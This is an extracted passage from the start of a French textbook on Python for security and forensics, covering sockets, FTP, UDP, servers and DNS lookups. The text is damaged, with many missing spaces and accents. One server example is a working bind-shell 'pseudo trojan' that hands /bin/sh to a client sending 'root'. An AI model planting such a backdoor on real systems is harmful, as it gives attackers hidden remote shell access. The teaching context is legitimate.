Академический Документы
Профессиональный Документы
Культура Документы
FranckEBEL
Rsum
Ce livre s'adresse aux professionnels de la scurit informatique, du Forensic mais aussi aux personnes dsireuses de se former la
conception d'outils en Python. Il a pour objectif de conduire le lecteur une bonne comprhension de bibliothques spcifiques Python pour qu'il
puisse ensuite concevoir ses outils personnaliss, adapts des situations particulires en Hacking et Forensic. Pour en tirer le meilleur profit
possible, il est ncessaire d'avoir des notions de scurit informatique et une bonne connaissance de la programmation Python.
Le livre est dcompos en 6 chapitres, chacun est illustr par de nombreux exemples avec, en fin de chapitre, des exercices avec correction
afin de donner au lecteur le moyen de s'auto-valuer.
Le chapitre 1 est consacr la programmation rseau. L'auteur dtaille la programmation de sockets puis les diffrents services tels que HTTP,
FTP, POP, SSL par exemple, ainsi que les expressions rgulires, l'accs aux bases de donnes. Le chapitre 2 est consacr la bibliothque
scapy trs utile en hacking et Forensic ; l'auteur dtaille la manipulation de trames, le tunneling, les diffrents types de scan rseau et aborde
galement IPv6. Dans le chapitre 3, des connaissances de bases sur les notions d'architecture PC et d'assembleur, sur l'utilisation de debugger,
sont indispensables pour la comprhension de la bibliothque PyDbg qui est utilise. Le chapitre 4 est ddi au Fuzzing ; dans une premire
partie l'auteur utilise des bibliothques dj vues dans les chapitres prcdents puis, dans une deuxime partie, il tudie une bibliothque
particulire, Sulley, spcialise dans le fuzzing. Le chapitre 5 passe en revue la bibliothque PIL qui va permettre de grer les images, de les
modifier, de capturer des images de webcam pour en extraire des donnes, l'auteur tudiera un lment particulier de la scurit web, les
capchat. Enfin, le dernier chapitre est entirement consacr au Forensic ; l'auteur fera une revue, non exhaustive, des diffrentes techniques, et
parcourra la stganographie, la cryptographie, les traques de mails.
L'auteur a voulu faire de ce livre un regroupement non exhaustif des bibliothques utiles, expliques et illustres par des exemples concrets afin
que le lecteur puisse s'en approprier le fonctionnement.
L'auteur
Franck EBEL est enseignant l'universit de Valenciennes, commandant de gendarmerie rserviste, directeur technique de la socit
anconseils et spcialiste de la lutte anti-cybercriminalit, il est expert en failles applicatives. Il a cr la licence professionnelle "ethical
hacking" (appele CDAISI), la seule en France en scurit dite offensive. Certifi CEH, OSCP et Wifu, il forme les ntech de la gendarmerie de
la rgion Nord-Pas de Calais et le CI-CERT de Cte d'Ivoire. La scurit informatique est une passion qu'il partage trs largement lors de
confrences ou travers les pages de ce livre pour donner ses auditeurs et lecteurs un maximum d'informations pour matriser ce vaste
sujet. Il est galement co-auteur du livre "Scurit informatique - Ethical Hacking" paru aux Editions ENI.
Ce livre numrique a t conu et est diffus dans le respect des droits dauteur. Toutes les marques cites ont t dposes par leur diteur respectif. La loi du 11 Mars
1957 nautorisant aux termes des alinas 2 et 3 de larticle 41, dune part, que les copies ou reproductions strictement rserves lusage priv du copiste et non destines
une utilisation collective, et, dautre part, que les analyses et les courtes citations dans un but dexemple et dillustration, toute reprsentation ou reproduction intgrale,
ou partielle, faite sans le consentement de lauteur ou de ses ayants droit ou ayant cause, est illicite (alina 1er de larticle 40). Cette reprsentation ou reproduction, par
quelque procd que ce soit, constituerait donc une contrefaon sanctionne par les articles 425 et suivants du Code Pnal. Copyright Editions ENI
Ce livre numrique intgre plusieurs mesures de protection dont un marquage li votre identifiant visible sur les principales images.
- 1-
Introduction
Celivresadresseauxamateursetauxprofessionnelsdelascuritinformatique,duForensicoutoutsimplement
auxpersonnesdsireusesdeseformerlaconceptiondoutilsenPython.
IlestncessairepourlapprhenderdavoirunebonneconnaissancedelaprogrammationaveclelangagePython
etdesnotionsdescuritinformatique.
Ce livre a pour objectif damener le lecteur la comprhension de bibliothques spcifiques de Python afin de
pouvoirrapidementconcevoirdesoutilsadaptsdessituationsparticuliresenHackingetForensic.Eneffet,des
annesdexpriencedanslesauditsenscuritinformatiqueetlesformationsontdmontrquetrssouventles
outils automatiques ont des limites et donnent des rsultats parfois farfelus, que ce soit en Forensic ou en
Hacking.
Noussommesdoncobligsdefabriquerdesoutilsspcifiquesuneapplicationouunsystme,carchaquecas
demandeunerflexion,uneintuitionetseullhumainpeutrellementyparvenir.
Ce livre est donc un recueil, un regroupement non exhaustif des bibliothques utiles, parfois traduites des
documentationsanglaises,testesetexpliquesavecdesexercicesafindencomprendrelefonctionnement.
Lidedecelivreestvenuedunbesoinrelexprimlorsduneformationdesntechs(technicienspourlarecherche
depreuvesinformatiques)delaGendarmerienationalefranaiseetdugroupeCICERT(CtedIvoire Computer
Emergency Response Team) de Cte dIvoire. Une sorte de manuel o les outils sont rassembls, o lon vient
piochersuivantlesbesoinspourunproblmeprcis.
Celivreestdcomposensixchapitres,dontcinqapportentlesconnaissancesncessaires,lesbibliothquesetla
mthodepourpouvoiraborderlesoutilsenForensic,quiestlobjetduchapitreForensic.
Tout au long de ces chapitres chaque partie est illustre par de nombreux exemples et, en fin de chacun, des
exercicesaveccorrectionvousdonnerontlemoyendevousautovaluer.
LechapitreLerseauestconsacrlaprogrammationrseau.Nousaborderonslaprogrammationdessockets
puislesdiffrentsservicestelsqueHTTP,FTP,POP,SSLparexemple,maisnousaborderonsaussilesexpressions
rgulires,laccsauxbasesdedonnes.
LechapitreRseau:labibliothqueScapyestconsacrunebibliothquetrsparticulire,etsurtouttrsutile
en Hacking et Forensic, qui est Scapy. Nous aborderons la manipulation de trames, le tunneling, les diffrents
typesdescanrseau.NoustoucheronsaussiduboutdesdoigtslIPv6.
Le chapitre Dbogage sous Windows est le chapitre, je pense, le plus complexe car les connaissances de base
ncessairessontplusdiverses.EneffetlesnotionsdarchitecturePC,dassembleur,lutilisationdedebuggersont
indispensableslacomprhensiondelabibliothquePyDbgquenousutiliserons.
Le chapitre Le Fuzzing comporte dans une premire partie lutilisation de bibliothques dj vues dans les
chapitresprcdentstellesquecellesncessaires pourlaprogrammationrseau,Scapy.Puis,dansunedeuxime
partie,nouspasseronsunebibliothqueparticulire,Sulley,spcialisedanslefuzzing.
LechapitreTraitementdimagespasseenrevuelabibliothquePILquivanouspermettredegrerlesimages,de
les modifier, de capturer des images depuis une webcam pour en extraire des donnes. Nous verrons aussi un
problme particulierdelascuritsurleweb,lescaptchas.
LechapitreForensicestconsacrentirementauForensic,nousyferonsunerevuenonexhaustivedediffrentes
techniques,nousparcourronslastganographie,lacryptographie,latraquedemails.
Beaucoup douvrages existent sur chacun de ces sujets individuellement, principalement en anglais, mais aucun
ouvrageneregroupeenunseullivreuncondens,enfranais,commeceluici.
- 1-
Introduction
Un ordinateur sans connexion Internet nest plus vraiment utile de nos jours, sauf dans de rares cas. Faites
lexpriencedevousasseoirdevantvotremachineetdeledconnecterduNet:plusderecherchesurGoogleou
autre,plusdechataveclesamis,plusdeFacebook...
Toutpassedoncparuneconnexionetdoncparlessockets.
NousentrouvonscommedfinitionsurWikipdia :
Danslecontextedeslogiciels,onpeutletraduirepar connecteurrseau .
ApparudanslessystmesUNIX,unsocketestunlmentlogicielquiestaujourdhuirpandudanslaplupartdes
systmes dexploitation. Il sagit dune interface logicielle avec les services du systme dexploitation, grce
laquelleundveloppeurexploiterafacilementetdemanireuniformelesservicesdunprotocolerseau.
IlluiseraainsiparexempleaisdtablirunesessionTCP,puisderecevoiretdexpdierdesdonnesgrceelle.
Cela simplifie sa tche car cette couche logicielle, de laquelle il requiert des services en appelant des fonctions,
masque le travail ncessaire de gestion du rseau, pris en charge par le systme. Le terme socket dsigne en
pratiquechaquevariableemployedansunprogrammeafindegrerlunedessessions.
Il devient donc ncessaire de comprendre et de savoir programmer des sockets pour pouvoir accder aux
diffrentsservicestelsqueleWeb,leFTP,lesmails
- 1-
Lessockets
1.Crationdunsocket
La bibliothque socket de Python va nous permettre daccder aux services voulus. Sil y a une bibliothque
rseauconnatreetsavoirutiliser,cestbiencelleci.
Nousverronsbiensrparlasuitedautresbibliothquesspcifiquesauxservicescitsenintroduction,maisavec
la bibliothque socket, nous pourrons tout faire. Cela demandera quand mme de connatre la norme utilise
pourlescommunicationsTCP,UDPetdesdiffrentsservices.Pourcela,nousvouslaissonslesoindallerlireles
RFCcorrespondantes.
Crationdunsocketetconnexionunsiteweb :chap1_exo1.py
import socket
print creation du socket ...
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print socket fait
print connexion a lhote distant
s.connect((www.eni.fr,80))
print connexion faite
Nousnavonspasicidegrandesdifficultsquantlacomprhensiondececode.
Labibliothquesocketestimportedsledbutduscript.
NouscronsensuitelobjetsocketenluiprcisantgrceAF_INETquenousutilisonsIPv4etenluidsignant
leprotocole(SOCK_STREAMpourTCPetSOCK_DGRAMpourUDP).
Pournousconnecterlhtedistant( connect),nousdevronsutilisercequelonappelleuntuple,unedouble
parenthse,contenantladresseIPetleport.
Il ne se passera rien lexcution de ce script puisque nous tablissons une connexion sans changer de
donnesmaisnousseronsbienconnectslhtedistant.
Pour grer les accents avec Python, nous devons ajouter, au dbut du code source : # -*coding: iso-8859-1 -*-. iso88591 peut tre remplac par un autre encodage suivant celui
utilisparlesystmedexploitation(utf8,windows1252,cp1252).Pourunsouciduniformit,lesaccents
neserontpasintgrsdanslesscripts.
2.changededonnes
Quandlaconnexionesttablie,nouspouvonsenvoyeretrecevoirdesdonnes.
Lacommunicationaveclesocketvamaintenantpouvoirsefaireassezaismentgrcedeuxfonctions,send()
etrecv().
send()=>tcp
sendto()
recv()
recvfrom()=>udp
=>udp
=>tcp
- 1-
chap1_exo2.py
import socket
print creation du socket ...
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print socket fait
print connexion a lhote distant
s.connect((www.eni.fr,80))
print connexion faite
s.send( GET /index.html HTML/1.0\r\n\r\n)
data=s.recv(2048)
print data
s.close()
Lersultatlcrandecescriptnevatrequunepartiedelapagewebrapatriesurnotremachineeneffet,
nousavonsdemanddercuprerseulement2048octets.
Sinousvoulonslarcuprerentotalit,ilnousfaudrautiliserunebouclequivalirejusqucequilnyaitplus
dinformationsrcuprer.
chap1_exo3.py
#!/usr/bin/env python
import socket
print creation du socket ...
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print socket fait
print "connexion a lhote distant"
s.connect((www.eni.fr,80))
print connexion effectuee
s.send( GET /index.php HTML/1.1\r\n\r\n)
while 1:
data=s.recv(128)
print data
if data== "":
break
s.close()
Danslexemplechap1_exo3.py,nousutilisonsuneboucleinfinie(while
estvide.Sicelaestlecas,noussortonsduscriptgrceaubreak.
1)etnousvrifionssilavariabledata
Lecontenureldelapageobtenuenenousintressepaspourlinstant,vousrisquezdailleursdobtenirlapage
derreuretnonpaslapagedemande.
3.Leserreurs
Lescriptprcdentnefonctionneraquesiaucuneerreurnatgnreparluneoulautredescommandes.
Pourquenotrescriptsoitoptimaletpuissegrerleserreurs,ilvanousfalloirtesterchaquecommandeavecle
coupletryetexcept.
try va nous permettre de lancer la ou les commandes qui le suivent. Si une commande choue, il passera la
mainexceptetnouspourronsdoncgrercetteerreurouexcuteruneautrecommande.
Chaquecommandeasesexceptions,nousallonsdoncvoiricilesexceptionsspcifiquesauxsockets.
Lessocketsexceptions:
- 2-
socket.error:erreursdentres/sortiesgnralesetproblmesdecommunication.
socket.gaierror:erreurslorsdelarecherchedinformationssurlesadresses.
socket.herror:lesautreserreursdadresses(correspondah_errorenC).
socket.timeout:pourtoutcequivientdeproblmesdedpassementdetempssettimeout()
doitavoirtappelavantdanslesocket.
chap1_exo4.py
#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket,sys
host=sys.argv[1]
textport=sys.argv[2]
fichier=sys.argv[3]
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except socket.error,e:
print "erreur lors de la creation du socket : %s" %e
sys.exit(1)
try:
port=int(textport)
except ValueError:
try:
port=socket.getservbyname(host,tcp)
except socket.error,e:
print "ne trouve pas le port %s" %e
sys.exit(1)
try:
s.connect((host,port))
except socket.gaierror, e:
print "erreur dadresse de connexion au serveur :%s" %e
sys.exit(1)
except socket.error, e:
print "erreur de connexion: %s" %e
sys.exit(1)
try:
s.sendall("GET %s HTTP/1.0\r\n\r\n" % fichier)
except socket.error, e:
print "erreur denvoi des donnees : %s " %e
sys.exit(1)
while 1:
try:
buf=s.recv(2048)
except socket.error, e:
print "erreur de reception des donnees: %s" %e
sys.exit(1)
if not len(buf):
break
print buf
Danscescript,lesinformationssontattenduesenarguments,cestdirequenousallonsdevoirindiquerquel
estlesite,leportetlefichierdemandlorsdulancementduscript :
Lepremierargument,argv[1],correspondwww.eni.fr,ledeuxime,argv[2],auportvoulu,etletroisime
aufichierdemand(quiseretrouveraderrireleGET).
Chaquetapeduscriptesttesteafindelavalideroudesortirproprementduprogramme.
- 3-
Socket.errorpermetdevrifiersilesocketabientcr.
ValueError permet quant lui de voir si port=int(textport) sest bien droul, cestdire que la
transformation en nombre entier de la chane de caractres entre est valide, sinon cela veut dire que
lutilisateuraentrautrechosequunnombre.
Socket.gaierrornousindiquerauneerreurdadresseInternet.
Socket.errornousrenseignerasuruneerreurdeconnexionoudenvoidedonnes.
Nousavonsjusquprsenttestlabibliothqueimportsurunserviceweb.Tentonsdadapternotreprogramme
pourseconnecterunserveurFTPetdelisterparexemplelecontenudunrpertoire.
4.SocketetFTP
Pour vous familiariser avec les commandes FTP, rendezvous sur Google afin de trouver la RFC959, norme du
protocoleFTP(exemple :www.faqs.org/rfcs/rfc959.html).
LaconnexionneserapaspluscompliquetablirquepourleWeb.
UnebannireesttoutdabordenvoyeparleserveurFTP,ensuiteilnousfaudradonnernotreidentifiant(USER
nom_login\r\n)puisnotremotdepasse(PASS notre_pass\r\n).
Sicestapessontfranchies,nouspourronsalorslancerlescommandestellesqueSTOR,CWDouautre.
Pourclorelaconnexion,ilfaudralancerQUIT\r\n.
Tentonscelasurunserveuranonymeonousdevronsmettrecommeidentifiantanonymousetcommemotde
passenotreadressemail.
Aujourocelivreestcrit,lesiteftp.ibiblio.orgfonctionnepouruneconnexionanonyme.
Chap1_exo5.py
#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket
host="ftp.ibiblio.org"
port=21
def fini():
data=s.recv(1024)
print data
if data=="":
pass
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( host,port))
fini()
s.send("USER anonymous\r\n")
fini()
s.send("PASS toto@tata.fr\r\n")
fini()
s.send("HELP\r\n")
fini()
s.send("QUIT\r\n")
s.close()
- 4-
Rsultatduscript
Riendebiennouveaudanscescript,justeunedfinitionquivanouspermettredetesterlafinderceptionen
regardantsilavariabledataestvideetencoupantlaclparlotsde1024octets.
NouspouvonsmaintenantnousattaquerlaconceptiondunserveurenPython.
5.UtilisationdelUDP
LeprotocoleUDP(UserDatagramProtocol)estunprotocolequisesitueaummeniveauqueTCP,cestdireau
dessusdelacoucheIP.Ilfournitunserviceenmodenonconnect(oudatagramme)auxapplications.Lentte
dundatagrammeUDPestcomposdequatrechamps:
LeportUDPsource.
LeportUDPdestination.
LalongueurdumessageUDP.
Lechecksum(sommedecontrle).
CeprotocoleestutileetindispensableaubonfonctionnementdInternet.Ilserautilis,parexemple,pourleDNS
(DomainNameSystem).
Lamthodologieestlammequeprcdemment,laseulediffrenceestlacrationdusocket(SOCK_DGRAM).
chap1_exo6.py
#!/usr/bin/env python
#--*--coding:UTF-8 --*-import socket,sys
host=sys.argv[1]
textport=sys.argv[2]
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
try:
port=int(textport)
except ValueError:
port=socket.getservbyname(textport,udp)
- 5-
s.connect((host,port))
print "entrez les donnees a transmettre"
data=sys.stdin.readline().strip()
s.sendall(data)
print "attente de reponse, Ctrl-C pour arreter"
while 1:
buf=s.recv(2048)
if not len(buf):
break
print buf
- 6-
Crationdunserveur
1.Introduction
Ilestncessairedepasserparquatretapespourcrerunserveur :
Crerlesocket
Donnerlesoptionsausocket(optionnel)
Lierunport
couteraprsdesconnexions
chap1_exo7.py
host=
port=1234
s=socket.socket(socket.AF_INET,SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((host,port))
s.listen(5)
Si nous ne tenons pas compte dans le code prcdent des deux lignes host et port, nous retrouvons nos
quatretapesdecrationduserveur,unetapeparligne.
Nousnereviendronspassurlacrationdelobjetsocketquiadjtvueprcdemment.
La ligne suivante est optionnelle et les options par dfaut conviennent pour la plupart des programmes, mais
voyonsquandmmelesdiffrentespossibilits.
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
Lesoptions
setsockopt(level,optname,value)
level:.SOL_SOCKET:ontravailleaveclessockets.
optname:
SO_BINDTODEVICE:lesocketestvalidepourunecarterseauspcifiedansValue(nomdelacarte).
SO_BROADCAST:permetlatransmissionetrceptiondepaquetsdebroadcast.Value:boolen.
SO_DONTROUTE : interdit aux paquets de passer travers les routeurs et les passerelles. Value :
boolen.
SO_KEEPALIVE : autorise la transmission des paquets dit keepalive. Ces paquets permettent de
savoir chaque n ud que la connexion est toujours active quand aucune donne nest envoye.
Value:boolen.
SO_REUSEADDR:leportutilisestimmdiatementrutilisableaprsquelesocketestferm.Value:
boolen.
Lalignesuivantevapermettredelier(bind)ladresseIPavecleportdfini.
ENI Editions - All rights reserved - chantal gournier
- 1-
s.bind((host,port))
Nousnavonstoujourspasdeportouvertpourlinstantsurlamachine dansnotreexemple,leport1234sera
lilacarterseaudelhte( host= ).
NouspourronsdfinirpourhostladresseIPdelacartesouhaitesinousavonsplusieurscartesrseau.
host = socket.gethostbyname(socket.gethostname())
Nousavonsslectionncidessuslinterfacerseaupublique(relieauNet).
Aprslecodesuivant,leportestenfinouvertsurlamachine.
s.listen(5)
Le nombre entre parenthses reprsente le nombre maximum de connexions acceptable dans la queue de
rception.
2.Connexioncliente
Linconvnientpourlinstantestquenousnepouvonspasconnecterdeclient,ilfaudraitpourcelaqueleserveur
puisseaccepterlesventuellesdemandesdeconnexion.
Nousallonsdonccontinuernotrescriptdanscesens.
chap1_exo8.py
#!/usr/bin/env python
import socket,time
host =socket.gethostbyname(socket.gethostname())
print host
port=1234
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((host,port))
s.listen(1)
client,adresse=s.accept()
print adresse
print "une connexion sest effectuee depuis ",
print client.getpeername()
client.close()
s.close()
Ledbutdecescriptestidentiqueauprcdent,ladiffrencesesitueaprslelisten().
Nouscommenonsparaccepterunclientventuel.
Nousrcupronssonadresseetsonportdansadresse.
Client est le socket cr pour le client. Si partir de ce moment nous souhaitons discuter avec le client, il
- 2-
faudraseservirdusocketclientetnonplusdusockets.
Nous rcuprons ensuite des informations du client en affichant le contenu de adresse et en utilisant
getpeername().
Etenfin,noublionspasdefermerlesocketclientpuislesocketserveur.
Voyonscequeceladonne.
Surleclient
Surleserveur
Nousvoyonsquelaconnexionsestraliseavecsuccs.
Lecontenudeadresseestidentiqueauretourdelafonctionclient.getpeername().
Leport36620atouvertchezleclient,ladresseIPduclientest192.168.0.34.
3.Discussionavecleclient
chap1_exo9.py
#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket
host=
port = 1338
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(1)
client,adresse=s.accept()
print adresse
print client.getpeername()
client.send("Bonjour Editions ENI\n entrez un mot ou fin si vous
voulez arreter la discussion ")
while 1:
data=client.recv(1024)
if data=="fin\n":
break
print "Client > " + data
mot=raw_input("Serveur > ")
client.send(mot)
client.close()
s.close()
- 3-
Lepetitscriptprcdentreprendlesnotionsvuesjusquprsent.
partirdelabouclewhile,ladiscussioncommenceentreleserveuretleclientetnesarrteraquelorsquele
clientauraenvoylemot fin .
Onpeutremarquerpourcelaleifquinouspermetdetestersiladonnereue contient fin .Le \nestmis
ici car nous allons pour linstant utiliser netcat (utilitaire de connexion) pour tester notre programme et celuici
lenvoie.
Nousenlverons\nquandnousauronscrnotreclient.
Voicicequeceladonne :
Ductserveur
Ductclient
#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket, os, code
host=
port = 1338
mot=""
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(1)
client,adresse=s.accept()
print adresse
print client.getpeername()
client.send("Bonjour eni\n")
mot=client.recv(1024)
print mot
while 1:
- 4-
if mot=="root\n":
print "on est dans root"
for f in range (3):
os.dup2(client.fileno(), f)
os.execl("/bin/sh", "/bin/sh")
code.interact()
sys.exit()
else:
print "on sort"
break
client.close()
s.close()
Cescriptestbassurlescriptchap1_exo9.py,ilyajusteunemodificationdanslabouclewhile.
Sileclientenvoielemotrootauserveur,onentredansleif.
Attardonsnoussurlecodesuivant :
Nousavonsuneboucleforquivadonnerlavariablefrespectivementlesvaleurs0,1et2.
Cesvaleursvonttreunparamtredelafonctiondup2.
0,1et2sontrespectivementlecanal0(clavier),lecanal1(lcran)etlecanal2(sortiederreur),sousLinux.
Donc,aprscetteboucle,toutseraredirigverslesocketclient.
Nous lanons ensuite le bash qui se retrouvera donc sur le socket et pour finir code.interact() qui va
permettreuneinteractivitentreleclientetleserveur.
Envoiduclientdunmotdiffrentderoot
Serveurlorsdelenvoiparleclientdunmotdiffrentderoot
Envoiduclientdumotroot
- 5-
(2.5 MB)
Serveurlorsdelarceptiondumotroot
Cepetitexemplenousdmontrequilesttrssimpledecrerun"pseudo"trojan avecPython.Nouspouvonsen
effet transmettre sur un socket ce que nous voulons, le shell sh dans notre exemple. Pour une personne non
avertie,cettedernirenesaurapasquunportestouvertsursamachineetquunpirate peutsyconnecter.En
ralitbiensr,lestrojanssontbeaucouppluscomplexes,ilssontcompilsetbeaucoupmoinsdtectables.
- 6-
DNS :DomainNameServer
1.Introduction
LeDNSestunserveurquivanouspermettredetransformeruneadresseweb(www.eni.fr)enuneadresseIP
(90.83.78.130).
Sans ce serveur, nous serions obligs de connatre par c ur les adresses IP de tous les sites que nous
dsirerionsvisiter.
a.QuesignifieDNS?
DNSsignifieplusieurschoses:
DomainNameSystem:lensembledesorganismesquigrentlesnomsdedomaine.
DomainNameService:leprotocolequipermetdchangerdesinformationsproposdesdomaines.
DomainNameServer:unordinateursurlequelfonctionneunlogicielserveurquicomprendleprotocole
DNSetquipeutrpondredesquestionsconcernantundomaine.
Quesepassetilquandnoustaponshttp://www.eni.fr/index.html?
VotreordinateurdemandeauxserveursDNSdevotrefournisseurdaccslesadressesIPdesserveurs
DNSdudomaine"eni.fr".
VotreordinateurseconnecteunserveurDNSpourdemanderladresseIPdelamachine"www".
Votre navigateur va se connecter cette adresse IP sur le port 80 et demander la page
"index.html"(avecleprotocoleHTTP).
Ce scnario nest pas toujours vrai : la majorit des serveurs DNS et des systmes dexploitation vont faire
officedecacheetgardentenmmoirelesadresseslesplussouventdemandes.
b.PrincipauxenregistrementsDNS
Lorsquunservicegnreuntraficimportant,celuicipeutfaireappellatechnique duDNSRoundRobin(RRou
tourniquet),quiconsisteassocierplusieursadressesIPunnomdedomaine.
Le type de RR est cod sur 8 bits, lIANA conserve le registre des codes assigns. Les principaux
enregistrementsdfinissontlessuivants :
A record ou address record qui fait correspondre un nom dhte une adresse IPv4 de 32 bits
distribussurquatreoctets,ex:123.234.1.2.
AAAArecordouIPv6addressrecordquifaitcorrespondreunnomdhteuneadresseIPv6de128
bitsdistribussurseizeoctets.
CNAMErecordoucanonicalnamerecordquipermetdefairedundomaineunaliasversunautre.Cet
aliashritedetouslessousdomainesdeloriginal.
MXrecordoumailexchangerecordquidfinitlesserveursdecourrielpourcedomaine.
PTRrecord oupointer recordquiassocieuneadresseIPunenregistrementdenomdedomaine,
aussidit reverse puisquilfaitexactementlecontraireduArecord.
NSrecordounameserverrecordquidfinitlesserveursDNSdecedomaine.
SOArecord ouStart Of Authority recordquidonnelesinformationsgnralesdelazone :serveur
principal,courrieldecontact,diffrentesduresdontcelledexpiration,numrodesriedelazone.
ENI Editions - All rights reserved - chantal gournier
- 1-
SRV record qui gnralise la notion de MX record, mais qui propose aussi des fonctionnalits
avances comme le taux de rpartition de charge pour un service donn, standardis dans la RFC
2782.
NAPTR record ou Name Authority Pointer record qui donne accs des rgles de rcriture de
linformation, permettant des correspondances assez lches entre un nom de domaine et une
ressource.IlestspcifidanslaRFC3403.
TXT record permet un administrateur dinsrer un texte quelconque dans un enregistrement DNS
(par exemple, cet enregistrement tait utilis pour implmenter la spcification Sender Policy
Framework).
Dautrestypesdenregistrementssontutilissoccasionnellement,ilsserventsimplementdonnerdes
informations(parexemple,unenregistrementdetypeLOCindiquelemplacementphysiquedunhte,
cestdire sa latitude et sa longitude). Cet enregistrement aurait un intrt majeur mais nest
malheureusementquetrsrarementutilissurlemondeInternet.
Exempledecontenuavecnslookup
fasm@moya:~$ nslookup
> set type=ANY
> eni.fr
Server:
195.221.189.248
Address:
195.221.189.248#53
Non-authoritative answer:
eni.fr
nameserver = ns1.groupe-mit.com.
eni.fr
nameserver = ns2.groupe-mit.com.
Authoritative answers can be found from:
eni.fr
nameserver = ns1.groupe-mit.com.
eni.fr
nameserver = ns2.groupe-mit.com.
ns1.groupe-mit.com
internet address = 193.34.131.191
ns2.groupe-mit.com
internet address = 193.227.248.24
> google.fr
Server:
195.221.189.248
Address:
195.221.189.248#53
Non-authoritative answer:
google.fr
nameserver = ns4.google.com.
google.fr
nameserver = ns3.google.com.
google.fr
nameserver = ns2.google.com.
google.fr
nameserver = ns1.google.com.
Authoritative answers can be found from:
google.fr
nameserver = ns4.google.com.
google.fr
nameserver = ns3.google.com.
google.fr
nameserver = ns2.google.com.
google.fr
nameserver = ns1.google.com.
ns4.google.com
internet address = 216.239.38.10
ns3.google.com
internet address = 216.239.36.10
ns2.google.com
internet address = 216.239.34.10
ns1.google.com
internet address = 216.239.32.10
>
2.nslookupbasique
CommenttransformerunnomenuneadresseIP?
Voyonslafonctionsocket.getaddrinfo():
hostestlenomquevousvoulezrsoudre.
chap1_exo11.py
#!/usr/bin/env python
import sys, socket
result=socket.getaddrinfo(sys.argv[1],None)
print result
print result[0][4]
Dans le script chap1_exo11.py nous allons fournir en argument le nom dun site et grce aux print voir les
rsultatsobtenus.
Rsultatsureni.fr
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo11.py www.eni.fr
[(2, 1, 6, , (90.83.78.130, 0)), (2, 2, 17, ,
(90.83.78.130, 0)), (2, 3, 0, , (90.83.78.130, 0))]
(90.83.78.130, 0)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
NousobtenonsladresseIPdusiteenretour.
Nousallonsmodifierunpeuleprogrammepourrcuprertouteslesentres.
chap1_exo12.py
#!/usr/bin/env python
import sys, socket
result=socket.getaddrinfo(sys.argv[1],None)
compteur=0
for item in result:
print %2d: %s % (compteur,item[4])
compteur+=1
Nousrcupronsdoncicitouteslesentresquenousmettonsenformegrcelabouclefor.
Rsultatduscript
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo12.py eni.fr
0: (90.83.78.130, 0)
1: (90.83.78.130, 0)
2: (90.83.78.130, 0)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo12.py google.fr
0: (173.194.67.99, 0)
1: (173.194.67.99, 0)
2: (173.194.67.99, 0)
3: (173.194.67.147, 0)
4: (173.194.67.147, 0)
5: (173.194.67.147, 0)
6: (173.194.67.106, 0)
7: (173.194.67.106, 0)
- 3-
8: (173.194.67.106, 0)
9: (173.194.67.105, 0)
10: (173.194.67.105, 0)
11: (173.194.67.105, 0)
12: (173.194.67.103, 0)
13: (173.194.67.103, 0)
14: (173.194.67.103, 0)
15: (173.194.67.104, 0)
16: (173.194.67.104, 0)
17: (173.194.67.104, 0)
18: (2a00:1450:400c:c01::6a, 0, 0, 0)
19: (2a00:1450:400c:c01::6a, 0, 0, 0)
20: (2a00:1450:400c:c01::6a, 0, 0, 0)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
Touslesprotocoles(TCP,UDP)sonttestsici,onpeutaffinerennedemandantqueTCP.
chap1_exo13.py
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-import sys, socket
result=socket.getaddrinfo("www.google.fr",None,0,
socket.SOCK_STREAM)
print result
print result[0][4]
compteur=0
for item in result:
print "%-2d: %s" % (compteur,item[4])
compteur+=1
Rsultatduscript
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo13.py
[(2, 1, 6, , (173.194.67.104, 0)), (2, 1, 6, ,
(173.194.67.99, 0)), (2, 1, 6, , (173.194.67.147, 0)), (2,
1, 6, , (173.194.67.106, 0)), (2, 1, 6, , (173.194.67.105,
0)), (2, 1, 6, , (173.194.67.103, 0)), (10, 1, 6, ,
(2a00:1450:400c:c01::67, 0, 0, 0))]
(173.194.67.104, 0)
0 : (173.194.67.104, 0)
1 : (173.194.67.99, 0)
2 : (173.194.67.147, 0)
3 : (173.194.67.106, 0)
4 : (173.194.67.105, 0)
5 : (173.194.67.103, 0)
6 : (2a00:1450:400c:c01::67, 0, 0, 0)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
3.Reverselookup
ContinuonslexplorationduDNSenessayantdecrerunreverselookup(ondonneuneadresseIP,lescriptnous
envoieenretourlenomdemachine).
chap1_exo14.py
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-- 4-
Nous utilisons maintenant la fonction gethostbyaddr() qui va nous permettre de rcuprer le nom de la
machineenfonctiondesonadresseIP.
Rsultatduscript
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
python chap1_exo14.py
le nom dhote primaire est :
google-public-dns-a.google.com
Adresse :
8.8.8.8
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
Nousobtenonsbienlenomdelamachine :ladresseIP8.8.8.8correspondgooglepublicdnsa.google.com.
4.LalibrairieDNS
